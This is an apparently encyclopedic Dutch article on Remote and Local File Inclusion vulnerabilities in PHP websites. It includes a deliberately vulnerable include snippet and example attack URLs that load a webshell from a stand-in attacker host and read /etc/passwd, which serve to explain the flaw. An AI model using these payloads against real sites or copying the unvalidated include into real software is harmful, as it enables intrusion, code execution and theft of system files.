Remote File Inclusion

Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek treedt op als gevolg van het gebruik van gebruikersinput zonder juiste validatie. Dit kan leiden tot iets kleins zoals het afgeven van de inhoud van het bestand of meer ernstige gebeurtenissen zoals:

  • Code wordt uitgevoerd op de webserver.
  • Het uitvoeren van de code client-side, zoals JavaScript, die kan leiden tot andere aanslagen zoals Cross-Site Scripting (XSS)
  • Denial of service (DoS)
  • Diefstal van gegevens / manipulatie

Types

Remote File Inclusion

Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek optreedt als gevolg van het gebruik van gebruikersinput zonder juiste validatie.

Local File Inclusion

Local File Inclusion (LFI) lijkt op de Remote File Inclusion kwetsbaarheid, maar in plaats van afgelegen bestanden maakt het gebruik van lokale bestanden (bestanden die reeds op de server aanwezig zijn). Het lek treedt op ook als gevolg van het gebruik van gebruikersinput zonder juiste validatie.

Programmeertalen

PHP

In PHP is de hoofdoorzaak het niet valideren van externe variabelen zoals $_GET, $_POST en $_COOKIE. Het merendeel van de kwetsbaarheden kan worden toegeschreven aan beginnende programmeurs niet vertrouwd met alle mogelijkheden van de programmeertaal PHP. De PHP taal heeft een allow_url_fopen richtlijn die, indien ingeschakeld, laat bestandssysteem functies om een URL te gebruiken om gegevens uit externe locaties te halen. Een aanvaller zal een variabele die wordt doorgegeven aan een van deze functies te wijzigen om ervoor te zorgen dat het kwaadaardige code bevatten vanaf een externe bron. Om dit beveiligingslek alle input van de gebruiker moet worden bevestigd voordat het wordt gebruikt te beperken.

Het meest opvallende zijn include en require, maar de volgende zijn ook kwetsbaar indien niet geverifieerd: include_once, fopen, file_get_contents en require_once

Voorbeeld

<?php

	if ( isset ( $_GET["PAGINA"] ) ) {
	   include ( $_GET["PAGINA"] . ".php" );
	}

?>

De maker hiervan wil natuurlijk dat dit gebruikt wordt om de pagina's van de website te weergeven, hoewel dit ook kan worden misbruikt door de aanvaller. Voorbeelden hiervan zijn:

* /kwetsbaar.php?PAGINA=http://evil.example.com/webshell.txt? - zet kwaadaardige code op de website.
* /kwetsbaar.php?PAGINA=exploit - laad kwaadaardige code die al op de webserver staat.
* /kwetsbaar.php?PAGINA=/etc/passwd%00 - laat de aanvaller de inhoud van het passwd bestand op een UNIX systeem.

Zie ook

  • Metasploit Project, een open-source penetration testing tool die ook test voor RFI
  • SQL-injectie

Externe links

  • Remote File Inclusion
  • Local File Inclusion
  • www.esecurityplanet.com
  • www.php.net